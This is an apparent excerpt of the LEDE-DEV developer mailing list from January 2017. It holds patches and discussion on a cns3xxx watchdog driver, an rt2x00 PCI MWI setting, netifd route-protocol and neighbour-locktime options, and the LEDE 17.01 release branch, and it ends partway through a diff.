> -@@ -84,9 +84,10 @@ void trim_init_extable(struct module *m)
> +@@ -84,6 +84,7 @@ void trim_init_extable(struct module *m)
>
>   /* Generic info of form tag = "info" */
>   #define MODULE_INFO(tag, info) __MODULE_INFO(tag, tag, info)
>  +#define MODULE_INFO_STRIP(tag, info) __MODULE_INFO_STRIP(tag, tag, info)
>
>   /* For userspace: you can also call me... */
> --#define MODULE_ALIAS(_alias) MODULE_INFO(alias, _alias)
> -+#define MODULE_ALIAS(_alias) MODULE_INFO_STRIP(alias, _alias)
> -
> - /* Soft module dependencies. See man modprobe.d for details.
> -  * Example: MODULE_SOFTDEP("pre: module-foo module-bar post: module-baz")
> + #define MODULE_ALIAS(_alias) MODULE_INFO(alias, _alias)
>  @@ -127,12 +128,12 @@ void trim_init_extable(struct module *m)
>    * Author(s), use "Name <email>" or just "Name", for multiple
>    * authors use multiple MODULE_AUTHOR() statements/lines.
> diff --git a/target/linux/generic/patches-4.4/204-module_strip.patch b/target/linux/generic/patches-4.4/204-module_strip.patch
> index 8b807da..85805b3 100644
> --- a/target/linux/generic/patches-4.4/204-module_strip.patch
> +++ b/target/linux/generic/patches-4.4/204-module_strip.patch
> @@ -5,18 +5,14 @@ Signed-off-by: Felix Fietkau <nbd at nbd.name>
>  ---
>  --- a/include/linux/module.h
>  +++ b/include/linux/module.h
> -@@ -169,9 +169,10 @@ void trim_init_extable(struct module *m)
> +@@ -169,6 +169,7 @@ void trim_init_extable(struct module *m)
>
>   /* Generic info of form tag = "info" */
>   #define MODULE_INFO(tag, info) __MODULE_INFO(tag, tag, info)
>  +#define MODULE_INFO_STRIP(tag, info) __MODULE_INFO_STRIP(tag, tag, info)
>
>   /* For userspace: you can also call me... */
> --#define MODULE_ALIAS(_alias) MODULE_INFO(alias, _alias)
> -+#define MODULE_ALIAS(_alias) MODULE_INFO_STRIP(alias, _alias)
> -
> - /* Soft module dependencies. See man modprobe.d for details.
> -  * Example: MODULE_SOFTDEP("pre: module-foo module-bar post: module-baz")
> + #define MODULE_ALIAS(_alias) MODULE_INFO(alias, _alias)
>  @@ -212,12 +213,12 @@ void trim_init_extable(struct module *m)
>    * Author(s), use "Name <email>" or just "Name", for multiple
>    * authors use multiple MODULE_AUTHOR() statements/lines.
> --
> 2.6.4
>


From koen.vandeputte at ncentric.com  Tue Jan 17 00:37:03 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Tue, 17 Jan 2017 09:37:03 +0100
Subject: [LEDE-DEV] [PATCH] cns3xxx: restore mpcore watchdog
In-Reply-To: <CAJ+vNU1p5n3HKhfv=mjqMK4fXOn8z5VkHMVhLQTfWBE6wkd8pg@mail.gmail.com>
References: <1484055297-11313-1-git-send-email-koen.vandeputte@ncentric.com>
 <CAJ+vNU1p5n3HKhfv=mjqMK4fXOn8z5VkHMVhLQTfWBE6wkd8pg@mail.gmail.com>
Message-ID: <12b60a48-42ad-8c33-a162-efaf047bace5@ncentric.com>

Hi Tim,

> Koen,
>
> Thanks for submitting this - I agree with Felix that we should add
> back the functionality if possible.
>
> The issue mentioned in the commit which removed the driver from
> mainline linux [1] regarding 'Nothing ensures the userspace ioctl()
> will end-up kicking the watchdog on the right CPU.' is addressed by
> the fact that the watchdog register base defined in laguna.c [2] as
> the register 'CNS3XXX_TC11MP_TWD_BASE + 0x100' always points to the
> CPU0 watchdog as opposed to CNS3XXX_TC11MP_TWD_BASE which would be
> aliased to the watchdog of whatever CPU core the process is running.
> However, I found after a bit of digging I found that this mainline
> driver requires other patches to make the watchdog reliable which
> apparently never got accepted upstream [3] [4] [5] [6]. While these
> patches were apparently never accepted upstream they were in the
> OpenWrt git repo for the 3.10 kernel and below and not surprisingly
> got removed when the kernel bumped past 3.10. These patches also need
> to be re-added (at least definitely [3]) as without them you'll find
> that the timer count is too large and the watchdog will unexpectedly
> trip typically within a matter of several minutes.
Thanks for the detailed info.
>
> With these additional patches added I would say that we should also
> enable the watchdog in the kernel config.
>
> How do you want to proceed? I could ack your patch (as it adds the
> base driver back from mainline but doesn't enable it) then followup
> with a patch that adds back the additional patches (to
> target/platform/cns3xxx unless there are other targets that use the
> arm11mpcore processor and want the twd fixes?) and enables the
> watchdog kernel driver. Note that the patches affect other files so we
> can't simply merge them all into the files directory.

Feel free to Ack.
My plan was to first provide this baseline, and then add the needed 
customization via a second patch.

Like you have noticed, I deliberately submitted as platform specific (& 
disabled) for now until it's fully finished and thoroughly tested.
If another MPcore based platform would like to use it afterwards, it 
should be easy to share it. (Generic or target specific)

The earliest window I see in my calender to continue working on it is in 
about 2 weeks from now, if nothing else pops up ..
If you (or anyone else) would like to further provide fixes it in the 
meantime, please do. :-)

Koen
>
> Regards,
>
> Tim
>
> [1] http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=6e63a3a294fdf91eaaac1061a9c7a5f53d16ac25
> [2] https://git.lede-project.org/?p=source.git;a=blob;f=target/linux/cns3xxx/files/arch/arm/mach-cns3xxx/laguna.c;h=4a596125ab5c8ab1b3a1d31e00d406097b2412d0;hb=HEAD#l636
> [3] https://git.lede-project.org/?p=source.git;a=blob;f=target/linux/generic/target/linux/generic/target/linux/generic/patches-3.10/target/linux/generic/patches-3.10/992-mpcore_wdt_fix_watchdog_counter_loading.patch;h=ae81f3f384b5805ee64dcbadcaab38aaea1acf1e
> [4] https://git.lede-project.org/?p=source.git;a=blob;f=target/linux/generic/target/linux/generic/target/linux/generic/patches-3.10/target/linux/generic/patches-3.10/993-mpcore_wdt_fix_wdioc_setoptions_handling.patch;h=c986ac8f216c2a201875b44fc2fe6a8191680c13
> [5] https://git.lede-project.org/?p=source.git;a=blob;f=target/linux/generic/target/linux/generic/target/linux/generic/patches-3.10/target/linux/generic/patches-3.10/994-mpcore_wdt_fix_timer_mode_setup.patch;h=ecc2452cabe058990d56052644e3d328e549df01
> [6] https://git.lede-project.org/?p=source.git;a=blob;f=target/linux/generic/target/linux/generic/target/linux/generic/patches-3.10/target/linux/generic/patches-3.10/995-mpcore_twd_calibrate_single_core.patch;h=70411160fac88aeae42a2696039ab9bb5e9f47ba



From daniel at makrotopia.org  Tue Jan 17 03:20:04 2017
From: daniel at makrotopia.org (Daniel Golle)
Date: Tue, 17 Jan 2017 12:20:04 +0100
Subject: [LEDE-DEV] [PATCH v2 09/14] rt2x00: rt2x00pci: set PCI MWI only
 if supported
In-Reply-To: <ae4e2f18-b60d-4e28-5c31-014da951ab30@phrozen.org>
References: <874m114lwq.fsf@codeaurora.org>
 <20170116030613.GA32249@makrotopia.org>
 <20170116100856.GB6968@redhat.com>
 <20170117015653.GF1912@makrotopia.org>
 <ae4e2f18-b60d-4e28-5c31-014da951ab30@phrozen.org>
Message-ID: <20170117112003.GG1912@makrotopia.org>

Hi John,

On Tue, Jan 17, 2017 at 08:34:44AM +0100, John Crispin wrote:
> here is the original thread related to this patch
> 
> http://rt2x00.serialmonkey.com/pipermail/users_rt2x00.serialmonkey.com/2012-November/012227.html

nah, that was me apparently trying to submit this upstream once before
a couple of years ago.
the patch was added by claudio in
https://dev.openwrt.org/changeset/21850
supposedly to fix a build error on kernel 2.6.30
https://dev.openwrt.org/ticket/6538

as the config symbol is undefined in current kernels, I reckon we just
always had MWI disabled from some point on...
Back then RT2X00_LIB_SOC and RT2X00_LIB_MMIO still depended on
RT2X00_LIB_PCI which is no longer the case, ie. everything should be
fine without that ancient even on non-PCI platforms (on which the build
error initially triggered -- rt305x doesn't have PCI at all)
So let's remove it and find out :)


Cheers


Daniel

> 
> 	John
> 
> > Cheers
> > 
> > 
> > Daniel
> > 
> >>
> >> Stanislaw


From dedeckeh at gmail.com  Tue Jan 17 06:08:44 2017
From: dedeckeh at gmail.com (Hans Dedecker)
Date: Tue, 17 Jan 2017 15:08:44 +0100
Subject: [LEDE-DEV] [PATCH netifd] interface-ip: route proto config support
 (FS#170)
Message-ID: <20170117140844.8381-1-dedeckeh@gmail.com>

Route proto support is usefull when using route distribution
via a routing daemon.
The route proto parameter can be specified via the route proto
uci config parameter and can hold the string values redirect,
kernel, static, gated, ra, mrt, zebra, bind, dnrouted, xorp,
ntk, dhcp, mrouted, babel or a numerical value

Signed-off-by: Hans Dedecker <dedeckeh at gmail.com>
---
 interface-ip.c | 21 +++++++++++++++++----
 interface-ip.h |  5 +++--
 system-dummy.c |  6 ++++++
 system-linux.c | 52 +++++++++++++++++++++++++++++++++++++++++++++++++++-
 system.h       |  1 +
 ubus.c         |  3 +++
 6 files changed, 81 insertions(+), 7 deletions(-)

diff --git a/interface-ip.c b/interface-ip.c
index 24ea054..f8dab84 100644
--- a/interface-ip.c
+++ b/interface-ip.c
@@ -40,6 +40,7 @@ enum {
 	ROUTE_SOURCE,
 	ROUTE_ONLINK,
 	ROUTE_TYPE,
+	ROUTE_PROTO,
 	__ROUTE_MAX
 };
 
@@ -54,7 +55,8 @@ static const struct blobmsg_policy route_attr[__ROUTE_MAX] = {
 	[ROUTE_VALID] = { .name = "valid", .type = BLOBMSG_TYPE_INT32 },
 	[ROUTE_SOURCE] = { .name = "source", .type = BLOBMSG_TYPE_STRING },
 	[ROUTE_ONLINK] = { .name = "onlink", .type = BLOBMSG_TYPE_BOOL },
-	[ROUTE_TYPE] = { .name = "type", .type = BLOBMSG_TYPE_STRING }
+	[ROUTE_TYPE] = { .name = "type", .type = BLOBMSG_TYPE_STRING },
+	[ROUTE_PROTO] = { .name = "proto", .type = BLOBMSG_TYPE_STRING },
 };
 
 const struct uci_blob_param_list route_attr_list = {
@@ -405,6 +407,14 @@ interface_ip_add_route(struct interface *iface, struct blob_attr *attr, bool v6)
 		route->flags |= DEVROUTE_TYPE;
 	}
 
+	if ((cur = tb[ROUTE_PROTO]) != NULL) {
+		if (!system_resolve_rt_proto(blobmsg_data(cur), &route->proto)) {
+			DPRINTF("Failed to resolve proto type: %s\n", (char *) blobmsg_data(cur));
+			goto error;
+		}
+		route->flags |= DEVROUTE_PROTO;
+	}
+
 	interface_set_route_info(iface, route);
 	vlist_add(&ip->route, &route->node, route);
 	return;
@@ -478,10 +488,13 @@ interface_handle_subnet_route(struct interface *iface, struct device_addr *addr,
 	memcpy(&r->addr, &addr->addr, sizeof(r->addr));
 	clear_if_addr(&r->addr, r->mask);
 
-	r->flags |= DEVADDR_KERNEL;
+	if (!system_resolve_rt_proto("kernel", &r->proto))
+		return;
+
+	r->flags |= DEVROUTE_PROTO;
 	system_del_route(dev, r);
 
-	r->flags &= ~DEVADDR_KERNEL;
+	r->flags &= ~DEVROUTE_PROTO;
 	interface_set_route_info(iface, r);
 
 	system_add_route(dev, r);
@@ -634,7 +647,7 @@ interface_update_proto_route(struct vlist_tree *tree,
 	if (node_old && node_new)
 		keep = !memcmp(&route_old->nexthop, &route_new->nexthop, sizeof(route_old->nexthop)) &&
 			(route_old->mtu == route_new->mtu) && (route_old->type == route_new->type) &&
-			!route_old->failed;
+			(route_old->proto == route_new->proto) && !route_old->failed;
 
 	if (node_old) {
 		if (!(route_old->flags & DEVADDR_EXTERNAL) && route_old->enabled && !keep)
diff --git a/interface-ip.h b/interface-ip.h
index bbef62c..01727c9 100644
--- a/interface-ip.h
+++ b/interface-ip.h
@@ -31,8 +31,8 @@ enum device_addr_flags {
 	/* route overrides the default interface mtu */
 	DEVROUTE_MTU		= (1 << 4),
 
-	/* route automatically added by kernel */
-	DEVADDR_KERNEL		= (1 << 5),
+	/* route overrides the default proto type */
+	DEVROUTE_PROTO		= (1 << 5),
 
 	/* address is off-link (no subnet-route) */
 	DEVADDR_OFFLINK		= (1 << 6),
@@ -92,6 +92,7 @@ struct device_route {
 	union if_addr nexthop;
 	int mtu;
 	unsigned int type;
+	unsigned int proto;
 	time_t valid_until;
 
 	/* must be last */
diff --git a/system-dummy.c b/system-dummy.c
index 9c734ea..2ea25ac 100644
--- a/system-dummy.c
+++ b/system-dummy.c
@@ -202,6 +202,12 @@ bool system_resolve_rt_type(const char *type, unsigned int *id)
 	return true;
 }
 
+bool system_resolve_rt_proto(const char *type, unsigned int *id)
+{
+	*id = 0;
+	return true;
+}
+
 bool system_resolve_rt_table(const char *name, unsigned int *id)
 {
 	*id = 0;
diff --git a/system-linux.c b/system-linux.c
index 2f15bf1..6e92685 100644
--- a/system-linux.c
+++ b/system-linux.c
@@ -52,6 +52,13 @@
 #define IFA_FLAGS (IFA_MULTICAST + 1)
 #endif
 
+#ifndef RTPROT_MROUTED
+#define RTPROT_MROUTED 17
+#endif
+
+#ifndef RTPROT_BABEL
+#define RTPROT_BABEL 42
+#endif
 
 #include <string.h>
 #include <fcntl.h>
@@ -1782,7 +1789,7 @@ static int system_rt(struct device *dev, struct device_route *route, int cmd)
 		.rtm_dst_len = route->mask,
 		.rtm_src_len = route->sourcemask,
 		.rtm_table = (table < 256) ? table : RT_TABLE_UNSPEC,
-		.rtm_protocol = (route->flags & DEVADDR_KERNEL) ? RTPROT_KERNEL : RTPROT_STATIC,
+		.rtm_protocol = (route->flags & DEVROUTE_PROTO) ? route->proto : RTPROT_STATIC,
 		.rtm_scope = RT_SCOPE_NOWHERE,
 		.rtm_type = (cmd == RTM_DELROUTE) ? 0: RTN_UNICAST,
 		.rtm_flags = (route->flags & DEVROUTE_ONLINK) ? RTNH_F_ONLINK : 0,
@@ -1900,6 +1907,49 @@ bool system_resolve_rt_type(const char *type, unsigned int *id)
 	return system_rtn_aton(type, id);
 }
 
+bool system_resolve_rt_proto(const char *type, unsigned int *id)
+{
+	char *e;
+	unsigned int n;
+
+	if (!strcmp(type, "redirect"))
+		n = RTPROT_REDIRECT;
+	else if (!strcmp(type, "kernel"))
+		n = RTPROT_KERNEL;
+	else if (!strcmp(type, "static"))
+		n = RTPROT_STATIC;
+	else if (!strcmp(type, "gated"))
+		n = RTPROT_GATED;
+	else if (!strcmp(type, "ra"))
+		n = RTPROT_RA;
+	else if (!strcmp(type, "mrt"))
+		n = RTPROT_MRT;
+	else if (!strcmp(type, "zebra"))
+		n = RTPROT_ZEBRA;
+	else if (!strcmp(type, "bird"))
+		n = RTPROT_BIRD;
+	else if (!strcmp(type, "dnrouted"))
+		n = RTPROT_DNROUTED;
+	else if (!strcmp(type, "xorp"))
+		n = RTPROT_XORP;
+	else if (!strcmp(type, "ntk"))
+		n = RTPROT_NTK;
+	else if (!strcmp(type, "dhcp"))
+		n = RTPROT_DHCP;
+	else if (!strcmp(type, "mrouted"))
+		n = RTPROT_MROUTED;
+	else if (!strcmp(type, "babel"))
+		n = RTPROT_BABEL;
+	else {
+		n = strtoul(type, &e, 0);
+		if (!e || *e || e == type || n > 255)
+			return false;
+	}
+
+	*id = n;
+	return true;
+}
+
 bool system_resolve_rt_table(const char *name, unsigned int *id)
 {
 	FILE *f;
diff --git a/system.h b/system.h
index d5cb4e3..e810ed9 100644
--- a/system.h
+++ b/system.h
@@ -146,6 +146,7 @@ int system_del_route(struct device *dev, struct device_route *route);
 int system_flush_routes(void);
 
 bool system_resolve_rt_type(const char *type, unsigned int *id);
+bool system_resolve_rt_proto(const char *type, unsigned int *id);
 bool system_resolve_rt_table(const char *name, unsigned int *id);
 bool system_is_default_rt_table(unsigned int id);
 bool system_resolve_rpfilter(const char *filter, unsigned int *id);
diff --git a/ubus.c b/ubus.c
index 29924c1..0123b17 100644
--- a/ubus.c
+++ b/ubus.c
@@ -486,6 +486,9 @@ interface_ip_dump_route_list(struct interface_ip_settings *ip, bool enabled)
 		if (route->flags & DEVROUTE_TYPE)
 			blobmsg_add_u32(&b, "type", route->type);
 
+		if (route->flags & DEVROUTE_PROTO)
+			blobmsg_add_u32(&b, "proto", route->proto);
+
 		if (route->flags & DEVROUTE_MTU)
 			blobmsg_add_u32(&b, "mtu", route->mtu);
 
-- 
2.11.0



From richb.hanover at gmail.com  Tue Jan 17 06:20:31 2017
From: richb.hanover at gmail.com (Rich Brown)
Date: Tue, 17 Jan 2017 09:20:31 -0500
Subject: [LEDE-DEV] LEDE 17.01 branched
In-Reply-To: <42c7b563-e741-97b4-b312-cf85566f8d63@mein.io>
References: <42c7b563-e741-97b4-b312-cf85566f8d63@mein.io>
Message-ID: <D51F99D5-D69E-44DA-80E2-F69DB03330E6@gmail.com>


> On Jan 16, 2017, at 1:37 PM, Jo-Philipp Wich <jo at mein.io> wrote:
> 
> this is just a heads-up to inform you that LEDE master has been branched
> into a new branch "lede-17.01" now.

And a hearty congratulations to everyone who helped get us this far. Thanks!

I haven't seen these discussed anywhere, but I think there is a (parallel) effort that gains some urgency now that we're coming down to having our long-standing vision actually come to fruition:

1) Has anyone been thinking about publicity for the release candidates and final? I envision an expanding circle of announcements for our release candidates: First to lede-dev and the forum. Later an announcement on the OpenWrt forum. And who's going to write the announcement for Slashdot? Do we need to buy another server first? :-) 

2) I created a draft (skeleton) for the Release Notes on the web site at: https://lede-project.org/playground/draft-release-notes Please look it over and add items that should be mentioned. Thanks again.

Rich

PS Kudo's to hauke who found my (up-to-now) secret page and already started filling it in!

From toke at toke.dk  Tue Jan 17 06:34:08 2017
From: toke at toke.dk (=?utf-8?Q?Toke_H=C3=B8iland-J=C3=B8rgensen?=)
Date: Tue, 17 Jan 2017 15:34:08 +0100
Subject: [LEDE-DEV] [PATCH netifd] interface-ip: route proto config
 support (FS#170)
In-Reply-To: <20170117140844.8381-1-dedeckeh@gmail.com> (Hans Dedecker's
 message of "Tue, 17 Jan 2017 15:08:44 +0100")
References: <20170117140844.8381-1-dedeckeh@gmail.com>
Message-ID: <87bmv5vjq7.fsf@toke.dk>

Hans Dedecker <dedeckeh at gmail.com> writes:

> Route proto support is usefull when using route distribution
> via a routing daemon.
> The route proto parameter can be specified via the route proto
> uci config parameter and can hold the string values redirect,
> kernel, static, gated, ra, mrt, zebra, bind, dnrouted, xorp,
> ntk, dhcp, mrouted, babel or a numerical value
>
> Signed-off-by: Hans Dedecker <dedeckeh at gmail.com>
> ---
>  interface-ip.c | 21 +++++++++++++++++----
>  interface-ip.h |  5 +++--
>  system-dummy.c |  6 ++++++
>  system-linux.c | 52 +++++++++++++++++++++++++++++++++++++++++++++++++++-
>  system.h       |  1 +
>  ubus.c         |  3 +++
>  6 files changed, 81 insertions(+), 7 deletions(-)
>
> diff --git a/interface-ip.c b/interface-ip.c
> index 24ea054..f8dab84 100644
> --- a/interface-ip.c
> +++ b/interface-ip.c
> @@ -40,6 +40,7 @@ enum {
>  	ROUTE_SOURCE,
>  	ROUTE_ONLINK,
>  	ROUTE_TYPE,
> +	ROUTE_PROTO,
>  	__ROUTE_MAX
>  };
>
> @@ -54,7 +55,8 @@ static const struct blobmsg_policy route_attr[__ROUTE_MAX] = {
>  	[ROUTE_VALID] = { .name = "valid", .type = BLOBMSG_TYPE_INT32 },
>  	[ROUTE_SOURCE] = { .name = "source", .type = BLOBMSG_TYPE_STRING },
>  	[ROUTE_ONLINK] = { .name = "onlink", .type = BLOBMSG_TYPE_BOOL },
> -	[ROUTE_TYPE] = { .name = "type", .type = BLOBMSG_TYPE_STRING }
> +	[ROUTE_TYPE] = { .name = "type", .type = BLOBMSG_TYPE_STRING },
> +	[ROUTE_PROTO] = { .name = "proto", .type = BLOBMSG_TYPE_STRING },
>  };
>
>  const struct uci_blob_param_list route_attr_list = {
> @@ -405,6 +407,14 @@ interface_ip_add_route(struct interface *iface, struct blob_attr *attr, bool v6)
>  		route->flags |= DEVROUTE_TYPE;
>  	}
>
> +	if ((cur = tb[ROUTE_PROTO]) != NULL) {
> +		if (!system_resolve_rt_proto(blobmsg_data(cur), &route->proto)) {
> +			DPRINTF("Failed to resolve proto type: %s\n", (char *) blobmsg_data(cur));
> +			goto error;
> +		}
> +		route->flags |= DEVROUTE_PROTO;
> +	}
> +
>  	interface_set_route_info(iface, route);
>  	vlist_add(&ip->route, &route->node, route);
>  	return;
> @@ -478,10 +488,13 @@ interface_handle_subnet_route(struct interface *iface, struct device_addr *addr,
>  	memcpy(&r->addr, &addr->addr, sizeof(r->addr));
>  	clear_if_addr(&r->addr, r->mask);
>
> -	r->flags |= DEVADDR_KERNEL;
> +	if (!system_resolve_rt_proto("kernel", &r->proto))
> +		return;
> +
> +	r->flags |= DEVROUTE_PROTO;
>  	system_del_route(dev, r);
>
> -	r->flags &= ~DEVADDR_KERNEL;
> +	r->flags &= ~DEVROUTE_PROTO;
>  	interface_set_route_info(iface, r);
>
>  	system_add_route(dev, r);
> @@ -634,7 +647,7 @@ interface_update_proto_route(struct vlist_tree *tree,
>  	if (node_old && node_new)
>  		keep = !memcmp(&route_old->nexthop, &route_new->nexthop, sizeof(route_old->nexthop)) &&
>  			(route_old->mtu == route_new->mtu) && (route_old->type == route_new->type) &&
> -			!route_old->failed;
> +			(route_old->proto == route_new->proto) && !route_old->failed;
>
>  	if (node_old) {
>  		if (!(route_old->flags & DEVADDR_EXTERNAL) && route_old->enabled && !keep)
> diff --git a/interface-ip.h b/interface-ip.h
> index bbef62c..01727c9 100644
> --- a/interface-ip.h
> +++ b/interface-ip.h
> @@ -31,8 +31,8 @@ enum device_addr_flags {
>  	/* route overrides the default interface mtu */
>  	DEVROUTE_MTU		= (1 << 4),
>
> -	/* route automatically added by kernel */
> -	DEVADDR_KERNEL		= (1 << 5),
> +	/* route overrides the default proto type */
> +	DEVROUTE_PROTO		= (1 << 5),
>
>  	/* address is off-link (no subnet-route) */
>  	DEVADDR_OFFLINK		= (1 << 6),
> @@ -92,6 +92,7 @@ struct device_route {
>  	union if_addr nexthop;
>  	int mtu;
>  	unsigned int type;
> +	unsigned int proto;
>  	time_t valid_until;
>
>  	/* must be last */
> diff --git a/system-dummy.c b/system-dummy.c
> index 9c734ea..2ea25ac 100644
> --- a/system-dummy.c
> +++ b/system-dummy.c
> @@ -202,6 +202,12 @@ bool system_resolve_rt_type(const char *type, unsigned int *id)
>  	return true;
>  }
>
> +bool system_resolve_rt_proto(const char *type, unsigned int *id)
> +{
> +	*id = 0;
> +	return true;
> +}
> +
>  bool system_resolve_rt_table(const char *name, unsigned int *id)
>  {
>  	*id = 0;
> diff --git a/system-linux.c b/system-linux.c
> index 2f15bf1..6e92685 100644
> --- a/system-linux.c
> +++ b/system-linux.c
> @@ -52,6 +52,13 @@
>  #define IFA_FLAGS (IFA_MULTICAST + 1)
>  #endif
>
> +#ifndef RTPROT_MROUTED
> +#define RTPROT_MROUTED 17
> +#endif
> +
> +#ifndef RTPROT_BABEL
> +#define RTPROT_BABEL 42
> +#endif
>
>  #include <string.h>
>  #include <fcntl.h>
> @@ -1782,7 +1789,7 @@ static int system_rt(struct device *dev, struct device_route *route, int cmd)
>  		.rtm_dst_len = route->mask,
>  		.rtm_src_len = route->sourcemask,
>  		.rtm_table = (table < 256) ? table : RT_TABLE_UNSPEC,
> -		.rtm_protocol = (route->flags & DEVADDR_KERNEL) ? RTPROT_KERNEL : RTPROT_STATIC,
> +		.rtm_protocol = (route->flags & DEVROUTE_PROTO) ? route->proto : RTPROT_STATIC,
>  		.rtm_scope = RT_SCOPE_NOWHERE,
>  		.rtm_type = (cmd == RTM_DELROUTE) ? 0: RTN_UNICAST,
>  		.rtm_flags = (route->flags & DEVROUTE_ONLINK) ? RTNH_F_ONLINK : 0,
> @@ -1900,6 +1907,49 @@ bool system_resolve_rt_type(const char *type, unsigned int *id)
>  	return system_rtn_aton(type, id);
>  }
>
> +bool system_resolve_rt_proto(const char *type, unsigned int *id)
> +{
> +	char *e;
> +	unsigned int n;
> +
> +	if (!strcmp(type, "redirect"))
> +		n = RTPROT_REDIRECT;
> +	else if (!strcmp(type, "kernel"))
> +		n = RTPROT_KERNEL;
> +	else if (!strcmp(type, "static"))
> +		n = RTPROT_STATIC;
> +	else if (!strcmp(type, "gated"))
> +		n = RTPROT_GATED;
> +	else if (!strcmp(type, "ra"))
> +		n = RTPROT_RA;
> +	else if (!strcmp(type, "mrt"))
> +		n = RTPROT_MRT;
> +	else if (!strcmp(type, "zebra"))
> +		n = RTPROT_ZEBRA;
> +	else if (!strcmp(type, "bird"))
> +		n = RTPROT_BIRD;
> +	else if (!strcmp(type, "dnrouted"))
> +		n = RTPROT_DNROUTED;
> +	else if (!strcmp(type, "xorp"))
> +		n = RTPROT_XORP;
> +	else if (!strcmp(type, "ntk"))
> +		n = RTPROT_NTK;
> +	else if (!strcmp(type, "dhcp"))
> +		n = RTPROT_DHCP;
> +	else if (!strcmp(type, "mrouted"))
> +		n = RTPROT_MROUTED;
> +	else if (!strcmp(type, "babel"))
> +		n = RTPROT_BABEL;

Shouldn't these be read from somewhere rather than hard-coded (iproute2
gets them from /etc/iproute/rt_protos)?

-Toke


From alin.nastac at gmail.com  Tue Jan 17 07:16:04 2017
From: alin.nastac at gmail.com (Alin Nastac)
Date: Tue, 17 Jan 2017 16:16:04 +0100
Subject: [LEDE-DEV] [PATCH] netifd: Add option to configure locktime for
 each device
Message-ID: <1484666164-14789-1-git-send-email-alin.nastac@gmail.com>

The UCI parameter neighlocktime allows to control the hardware
address to IP mapping lock time in the IPv4 neighbour table.

The IPv6 lock time was not set because it is not used at all in any
kernel versions, hardware address override being controlled in this case
by the override flag present in the NA packet.

Signed-off-by: Alin Nastac <alin.nastac at gmail.com>
---
 device.c       | 10 ++++++++++
 device.h       |  3 +++
 system-linux.c | 20 ++++++++++++++++++++
 3 files changed, 33 insertions(+)

diff --git a/device.c b/device.c
index 43881e5..306496c 100644
--- a/device.c
+++ b/device.c
@@ -59,6 +59,7 @@ static const struct blobmsg_policy dev_attrs[__DEV_ATTR_MAX] = {
 	[DEV_ATTR_LEARNING] = { .name ="learning", .type = BLOBMSG_TYPE_BOOL },
 	[DEV_ATTR_UNICAST_FLOOD] = { .name ="unicast_flood", .type = BLOBMSG_TYPE_BOOL },
 	[DEV_ATTR_SENDREDIRECTS] = { .name = "sendredirects", .type = BLOBMSG_TYPE_BOOL },
+	[DEV_ATTR_NEIGHLOCKTIME] = { .name = "neighlocktime", .type = BLOBMSG_TYPE_INT32 },
 };
 
 const struct uci_blob_param_list device_attr_list = {
@@ -217,6 +218,8 @@ device_merge_settings(struct device *dev, struct device_settings *n)
 		s->neigh4gcstaletime : os->neigh4gcstaletime;
 	n->neigh6gcstaletime = s->flags & DEV_OPT_NEIGHGCSTALETIME ?
 		s->neigh6gcstaletime : os->neigh6gcstaletime;
+	n->neigh4locktime = s->flags & DEV_OPT_NEIGHLOCKTIME ?
+		s->neigh4locktime : os->neigh4locktime;
 	n->dadtransmits = s->flags & DEV_OPT_DADTRANSMITS ?
 		s->dadtransmits : os->dadtransmits;
 	n->multicast = s->flags & DEV_OPT_MULTICAST ?
@@ -314,6 +317,11 @@ device_init_settings(struct device *dev, struct blob_attr **tb)
 		s->flags |= DEV_OPT_NEIGHGCSTALETIME;
 	}
 
+	if ((cur = tb[DEV_ATTR_NEIGHLOCKTIME])) {
+		s->neigh4locktime = blobmsg_get_u32(cur);
+		s->flags |= DEV_OPT_NEIGHLOCKTIME;
+	}
+
 	if ((cur = tb[DEV_ATTR_RPS])) {
 		s->rps = blobmsg_get_bool(cur);
 		s->flags |= DEV_OPT_RPS;
@@ -1044,6 +1052,8 @@ device_dump_status(struct blob_buf *b, struct device *dev)
 			blobmsg_add_u32(b, "neigh4gcstaletime", st.neigh4gcstaletime);
 			blobmsg_add_u32(b, "neigh6gcstaletime", st.neigh6gcstaletime);
 		}
+		if (st.flags & DEV_OPT_NEIGHLOCKTIME)
+			blobmsg_add_u32(b, "neigh4locktime", st.neigh4locktime);
 		if (st.flags & DEV_OPT_DADTRANSMITS)
 			blobmsg_add_u32(b, "dadtransmits", st.dadtransmits);
 		if (st.flags & DEV_OPT_MULTICAST_TO_UNICAST)
diff --git a/device.h b/device.h
index 87236d4..feb865f 100644
--- a/device.h
+++ b/device.h
@@ -51,6 +51,7 @@ enum {
 	DEV_ATTR_UNICAST_FLOOD,
 	DEV_ATTR_NEIGHGCSTALETIME,
 	DEV_ATTR_SENDREDIRECTS,
+	DEV_ATTR_NEIGHLOCKTIME,
 	__DEV_ATTR_MAX,
 };
 
@@ -103,6 +104,7 @@ enum {
 	DEV_OPT_NEIGHGCSTALETIME	= (1 << 19),
 	DEV_OPT_MULTICAST_FAST_LEAVE	= (1 << 20),
 	DEV_OPT_SENDREDIRECTS		= (1 << 21),
+	DEV_OPT_NEIGHLOCKTIME		= (1 << 22),
 };
 
 /* events broadcasted to all users of a device */
@@ -160,6 +162,7 @@ struct device_settings {
 	unsigned int neigh6reachabletime;
 	unsigned int neigh4gcstaletime;
 	unsigned int neigh6gcstaletime;
+	unsigned int neigh4locktime;
 	bool rps;
 	bool xps;
 	unsigned int dadtransmits;
diff --git a/system-linux.c b/system-linux.c
index 2f15bf1..a77ff5f 100644
--- a/system-linux.c
+++ b/system-linux.c
@@ -316,6 +316,11 @@ static void system_set_neigh6gcstaletime(struct device *dev, const char *val)
 	system_set_dev_sysctl("/proc/sys/net/ipv6/neigh/%s/gc_stale_time", dev->ifname, val);
 }
 
+static void system_set_neigh4locktime(struct device *dev, const char *val)
+{
+	system_set_dev_sysctl("/proc/sys/net/ipv4/neigh/%s/locktime", dev->ifname, val);
+}
+
 static void system_set_dadtransmits(struct device *dev, const char *val)
 {
 	system_set_dev_sysctl("/proc/sys/net/ipv6/conf/%s/dad_transmits", dev->ifname, val);
@@ -484,6 +489,12 @@ static int system_get_neigh6gcstaletime(struct device *dev, char *buf, const siz
 			dev->ifname, buf, buf_sz);
 }
 
+static int system_get_neigh4locktime(struct device *dev, char *buf, const size_t buf_sz)
+{
+	return system_get_dev_sysctl("/proc/sys/net/ipv4/neigh/%s/locktime",
+			dev->ifname, buf, buf_sz);
+}
+
 static int system_get_dadtransmits(struct device *dev, char *buf, const size_t buf_sz)
 {
 	return system_get_dev_sysctl("/proc/sys/net/ipv6/conf/%s/dad_transmits",
